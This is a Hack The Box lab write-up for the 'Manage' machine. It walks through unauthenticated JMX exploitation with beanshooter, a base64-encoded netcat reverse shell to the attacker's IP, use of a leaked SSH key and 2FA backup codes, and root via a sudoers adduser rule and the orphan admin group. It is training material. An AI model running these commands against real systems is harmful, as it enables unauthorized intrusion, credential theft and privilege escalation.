Back to HTBHack The Box
Write-up

🧑🏼‍💼Manage

Java RMIJMXMbeanBeanshooterSudoers Pattern Misconf.Oprhan Group Privesc (Ubuntu %admin)

HTB Manage — Detailed Solution Notes

Platform: HackTheBox | Machine: Manage | OS: Linux | Difficulty: Easy | Vulnerability Types: Exposed JMX over RMI, Tomcat User Disclosure, Misconfigured Backup Archive, Google Authenticator Backup Code Reuse, Sudoers adduser Misconfiguration, Orphan Group Privesc


How Does a Hacker Think? — From an Exposed Java RMI Port to Root

Manage looks ordinary on the outside. SSH on 22, a default Apache Tomcat page on 8080, and a Java RMI registry on a non-standard port 2222. The Tomcat page itself is empty and the Manager interface is locked down by IP. The real attack surface is the RMI port. The registry advertises a JMX service with no authentication, and JMX with no authentication means remote MBean deployment, and remote MBean deployment means code execution. From there, a forgotten backup archive in another user's home leaks an SSH key and a Google Authenticator file with reusable backup codes. The final step is a sudoers rule that lets a low-privilege user create new users — and Ubuntu still has the old admin group sitting in sudoers waiting for someone to fill it.


1. Reconnaissance

Port Scan

bash

rustscan -a 10.129.234.57 nmap -sV -sC -p 22,2222,8080,36139,37897 10.129.234.57

OpenSSH 8.9 on 22. Apache Tomcat 10.1.19 on 8080. Java RMI on 2222. Two more high ports show up as tcpwrapped and java-rmi — these are the dynamic ports the RMI registry hands out for actual object access. The nmap rmi-dumpregistry script reveals the interesting line:

jmxrmi @127.0.1.1:37897

The RMI registry on 2222 is pointing JMX clients at port 37897 on the loopback address 127.0.1.1. That loopback bind is a hint that the service was set up for local use but exposed externally by mistake.

Tomcat Page

http://10.129.234.57:8080 loads the default Tomcat landing page. Adding manage.htb to /etc/hosts and trying that vhost gives nothing different. Directory busting with ffuf finds /manager returning 302, but visiting it returns 403 with the message that the Manager is only accessible from a browser running on the same machine as Tomcat. The IP restriction kills both the HTML and the text interface — credentials alone will not be enough.

bash

ffuf -u http://10.129.234.57:8080/FUZZ \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -e .jsp,.war,.txt,.xml -mc 200,301,302,401,403 -fs 11219 -t 50

Tomcat is a dead end from outside. The attack has to come through JMX.


2. JMX Enumeration with Beanshooter

How Does a Hacker Think?

JMX is the Java framework for managing a running JVM from outside the process. It is exposed over RMI by default. If the administrator forgot to set com.sun.management.jmxremote.authenticate=true, anyone who can reach the port can register their own MBeans and invoke methods on them. That is straight code execution inside the target JVM. Beanshooter is the tool that automates this — enumeration, MBean deployment, and command execution all in one binary.

bash

wget https://github.com/qtc-de/beanshooter/releases/download/v4.1.0/beanshooter-4.1.0-jar-with-dependencies.jar java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222

The enum output gives three important findings:

The JMX endpoint accepts unauthenticated connections. Pre-auth deserialization is patched, so a generic Java deserialization gadget will not work. But 188 MBeans are registered, which means the MBean server itself is fully writable to any client — including ours.

The enum also dumps Tomcat user credentials, because the Tomcat user database is exposed through a JMX MBean and beanshooter reads it automatically:

Username: manager Password: fhErvo2r9wuTEYiYgt Roles: manage-gui Username: admin Password: onyRPCkaG4iX72BrRtKgbszd Roles: role1

These credentials are useless against the Tomcat Manager directly because of the IP restriction, but they are worth holding onto for later credential reuse attempts.


3. Foothold — TonkaBean RCE

How Does a Hacker Think?

Beanshooter ships its own MBean called TonkaBean that exposes an executeCommand method. Deploying it gives a clean RCE primitive — any string passed to exec runs as the user the JMX server is running as, which on a Tomcat box is the tomcat user. The MBean has to be loaded from somewhere because the target JVM does not have the class by default. Beanshooter solves this by spinning up its own HTTP server, advertising the MBean's codebase URL through an MLet, and waiting for the target to fetch the JAR. The target downloads the class, instantiates it, and now there is a running MBean with an exec method waiting to be called.

Deploy

bash

java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy 10.129.234.57 2222 \ --stager-url http://10.10.16.6:8000

Beanshooter logs every step: it creates the HTTP server, registers the MLet handler, serves the .mlet file when the target requests /, then serves the JAR when the target follows the codebase URL. The final message confirms deployment:

MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.

A common mistake here is to run python3 -m http.server 8000 first and then run beanshooter with the same port — beanshooter wants to bind its own HTTP server on that port and the python server will block it. Either let beanshooter handle the HTTP server entirely, or pass --no-stager and run a separate HTTP server.

Execute

bash

java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka exec 10.129.234.57 2222 'id'

Output:

uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Reverse Shell — IFS Bypass

A standard bash reverse shell fails because beanshooter splits the command on whitespace and /dev/tcp is not enabled in the target's bash:

bash: >&: No such file or directory

The fix is to encode the payload in base64 and use the brace-expansion trick to keep the whole thing in single tokens. Bash treats {a,b,c} as three space-separated arguments at parse time, so {echo,...}|{base64,-d}|bash ends up running echo PAYLOAD | base64 -d | bash without any literal whitespace in the original argument list. Beanshooter cannot split what does not contain whitespace.

bash

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.6 4444 >/tmp/f' | base64 -w 0

bash

java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka exec 10.129.234.57 2222 \ 'bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTYuNiA0NDQ0ID4vdG1wL2YK}|{base64,-d}|bash'

With nc -lvnp 4444 listening on the attacker side, a tomcat shell connects back.

User flag location: /opt/tomcat/user.txt — flag is not in /home/karl or /home/useradmin. Tomcat installations from upstream often put the flag in the Tomcat install root rather than a user home, and find won't always pick it up if the path is restricted.


4. Lateral Movement — useradmin via Leaked Backup

How Does a Hacker Think?

After getting a shell as a service account, the first thing to look at is what other users exist and what their home directories permit. Service accounts often have read access to other home directories through misconfigured group permissions or world-readable subdirectories. A backup directory is a classic source of leaked credentials — administrators copy sensitive files into a backup folder, forget to lock down the permissions, and the result is a tarball that can be read by anyone on the box.

bash

ls /home # karl useradmin ls -la /home/useradmin # backups/ is world-readable ls /home/useradmin/backups # backup.tar.gz

Extract the Backup

bash

cp /home/useradmin/backups/backup.tar.gz /tmp/ cd /tmp && tar -xzf backup.tar.gz ls -la

The tarball is a snapshot of useradmin's home directory. The two interesting files:

.ssh/id_ed25519 # private key for useradmin .google_authenticator # 2FA secret + 10 backup codes .ssh/authorized_keys # confirms key belongs to useradmin@manage

The authorized_keys line ends with useradmin@manage, which is the comment field in the original key generation — confirmation that this key matches useradmin's account.

SSH with the Key

bash

ssh -i id_ed25519 useradmin@10.129.234.57

SSH does not accept the key directly — it prompts for a verification code. This is pam_google_authenticator doing its job. The 2FA layer is there even when key auth succeeds.

Bypass 2FA with Backup Codes

The .google_authenticator file format is well-known:

CLSSSMHYGLENX5HAIFBQ6L35UM # base32 TOTP secret " RATE_LIMIT 3 30 1718988529 " WINDOW_SIZE 3 " DISALLOW_REUSE 57299617 " TOTP_AUTH 99852083 # 10 single-use backup codes 20312647 73235136 ...

The 10 numeric lines at the bottom are single-use recovery codes. Each one is valid for one login. Picking any of them gets the SSH session in:

Verification code: 99852083 useradmin@manage:~$

The TOTP secret would also work — oathtool --totp -b CLSSSMHYGLENX5HAIFBQ6L35UM produces a fresh code every 30 seconds — but the backup codes are simpler and one is enough.


5. Privilege Escalation — adduser + Orphan admin Group

How Does a Hacker Think?

sudo -l always comes first as any new user. If there is anything listed, it is the most direct route to root. The list here is small but unusual:

(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

The ^[a-zA-Z0-9]+$ is a sudoers argument pattern that restricts the allowed argument to a single alphanumeric string. So we can run adduser <something> for any alphanumeric value, as root, without a password. We cannot run adduser hacker sudo to add an existing user to the sudo group — the space and the second argument break the pattern. We cannot pass --uid 0 or any other flag — the dashes break the pattern. We can only create new users.

The dead-end thinking is: "creating a user does not give me root." The unlock is: the privilege we need does not have to come from sudo at all — it can come from group membership, if a privileged group is sitting empty waiting for a new member.

The Orphan Group

On Ubuntu, /etc/sudoers historically contained two privileged group rules:

%admin ALL=(ALL) ALL %sudo ALL=(ALL:ALL) ALL

Modern Ubuntu uses %sudo. The %admin line was deprecated years ago but is sometimes left in /etc/sudoers for backwards compatibility. On this box, the admin rule is still active, but there is no admin user and no admin group on the system.

bash

cat /etc/group | grep -E "admin|sudo" # sudo:x:27:karl # useradmin:x:1002:

admin does not appear in /etc/group. That is the missing piece. Sudoers says "anyone in the admin group is root," and the admin group does not exist. Whoever creates the admin group first, owns root.

How adduser Creates the Group

/etc/adduser.conf has USERGROUPS=yes. That means every new user gets a new group with the same name as the user, and the user is placed in that group as their primary group. So running adduser admin will:

  1. Create a user named admin.
  2. Create a group named admin (because no group with that name exists yet).
  3. Put the admin user in the admin group.

And the admin group is exactly what sudoers is waiting for.

Execution

bash

sudo /usr/sbin/adduser admin